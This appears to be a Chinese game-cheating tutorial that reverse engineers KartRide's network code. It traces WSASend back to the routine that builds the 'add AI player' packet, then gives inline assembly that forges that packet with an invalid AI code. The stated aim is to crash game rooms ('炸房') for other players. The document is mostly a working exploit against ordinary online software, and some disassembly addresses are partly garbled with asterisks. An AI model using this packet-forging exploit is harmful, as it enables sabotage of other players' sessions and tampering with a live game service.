思路:
a.某游戏在房间中房主可以随意添加AI,AI的类型有多种,每种AI肯定有一个其专属的代码,如果房主在添加AI的时候添加的AI的代码并不存在,就有可能引起游戏出错
b.添加AI的流程肯定是 房主服务器同房间玩家,这样肯定就要调用发包的API,游戏常用的发包的api就是send和wsasend,不确定是调用哪个api的可以都下断就是了
bp WSASend然后点击添加电脑选手的按钮之后,游戏断下来了
调用堆栈: 主线程3@
地址 堆栈 函数过程 / 参数 调用来自 结构
0012EC6C 00C25B75 WS2_32.WSASend KartRide.00C25B6F
0012EC70 00000B04 Socket = 0xB04
0012EC74 0012EC94 pBuffers = 0012EC94
0012EC78 00000001 nBuffers = 0x1
0012EC7C 0012ECA0 pBytesSent = 0012ECA0
0012EC80 00000000 Flags = 0
0012EC84 0B585010 pOverlApped = 0B585010
0012EC88 00C25BF0 Callback = KartRide.00C25BF0
0012EC9C 00C26538 KartRide.00C25B10 KartRide.00C26533
0012E*F4 009B6D36 KartRide.00C26280 KartRide.009B6D31
0012E*F8 1B2D2828 Arg1 = 1B2D2828
这里看不到啥有用的信息,直接看堆栈窗口
0012E*F4 009B6D36 返回到 KartRide.009B6D36 来自 KartRide.00C26280
这里一般来说就是构造报文的函数了
几处关键的地方这里备注一下
009B6CB9 6A 18 push 0x18 ; 传递整数型参数 0x18
009B6CBB E8 EC971A00 call KartRide.00B604AC ; 申请内存
009B6CC0 83C4 04 add esp,0x4
009B6CC3 8945 F8 mov dword ptr ss:[ebp-0x8],eax
009B6CC6 837D F8 00 cmp dword ptr ss:[ebp-0x8],0x0
009B6CCA 74 0D je short KartRide.009B6CD9 ; 判断内存是否申请失败
009B6CCC 8B4D F8 mov ecx,dword ptr ss:[ebp-0x8]
009B6C*F E8 6C75AEFF call KartRide.0049E240 ; 给报文头部赋值,赋值一个保存报文名字的地址
009B6*F9 8948 10 mov dword ptr ds:[eax+0x10],ecx ; 报文第一个参数赋值
009B6*FC 8D4D FC lea ecx,dword ptr ss:[ebp-0x4]
009B6*FF E8 DCB1F8FF call KartRide.00941EE0
009B6D04 C640 14 00 mov byte ptr ds:[eax+0x14],0x0 ; 报文第二个参数赋值
009B6D18 52 push edx ; 把存储报文地址的变量压入堆栈
009B6D19 E8 82C9BFFF call KartRide.005B36A0
009B6D1E B9 B617E300 mov ecx,KartRide.00E317B6
009B6D23 E8 18E6A6FF call KartRide.00425340
009B6D28 8BC8 mov ecx,eax
009B6D2A E8 919BBFFF call KartRide.005B08C0
009B6D2F 8BC8 mov ecx,eax
009B6D31 E8 4AF52600 call KartRide.00C26280 ; 调用封包函数
009B6D36 8B45 EC mov eax,dword ptr ss:[ebp-0x14]
009B6D39 C680 90000000 0>mov byte ptr ds:[eax+0x90],0x1
009B6D40 8D4D FC lea ecx,dword ptr ss:[ebp-0x4]
009B6D43 E8 28310A00 call KartRide.00A59E70 ; 释放内存
根据申请内存之后的几行代码可以发现,报文的地址保存在[ebp-0x8]中,所以要找报文参数的来源直接找和[ebp-0x8]有关的代码就可以了
009B6CCC 8B4D F8 mov ecx,dword ptr ss:[ebp-0x8]
009B6C*F E8 6C75AEFF call KartRide.0049E240 ; 给报文头部赋值,赋值一个保存报文名字的地址
009B6CEE 8D4D FC lea ecx,dword ptr ss:[ebp-0x4]
009B6*F1 E8 EAB1F8FF call KartRide.00941EE0
009B6*F6 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8]
009B6*F9 8948 10 mov dword ptr ds:[eax+0x10],ecx ; 报文第一个参数赋值
009B6*FC 8D4D FC lea ecx,dword ptr ss:[ebp-0x4]
009B6*FF E8 DCB1F8FF call KartRide.00941EE0
009B6D04 C640 14 00 mov byte ptr ds:[eax+0x14],0x0 ; 报文第二个参数赋值
三个赋值处,至于009B6*FF E8 DCB1F8FF call KartRide.00941EE0这个call完全就是读内存的,lea ecx,dword ptr ss:[ebp-0x4] call KartRide.00941EE0,这两行指令实际上就等效于mov ecx,dword ptr ss:[ebp-0x8]
断下两个给报文参数赋值的位置,找出参数就可以了
第一处ECX是添加AI的位置,第二个参数是一个定制0,我们要做的就是修改这里就能实现炸房了
代码编写
' _asm{
' sub esp,0x18;申请0x18字节的内存
' lea eax,[ebp-0x18]
' mov ecx,0x*FFD1C;给报文头部赋值(实际上是一个包名)
' mov [eax],ecx
' add eax,0x10
' mov ecx,0x7
' mov [eax],ecx;给报文的第一个参数赋值,PP的报文第一个参数基本都是由0x10开始的
' add eax,0x4
' mov ecx,0xFF
' mov [eax],ecx;给报文的第二个参数赋值
' lea eax,[ebp-0x18]
' push eax
' mov ecx,[0xE32120+0xc8];ecx传址
' mov eax,0xC26280
' call eax;调用明文发包CALL
' }
End
|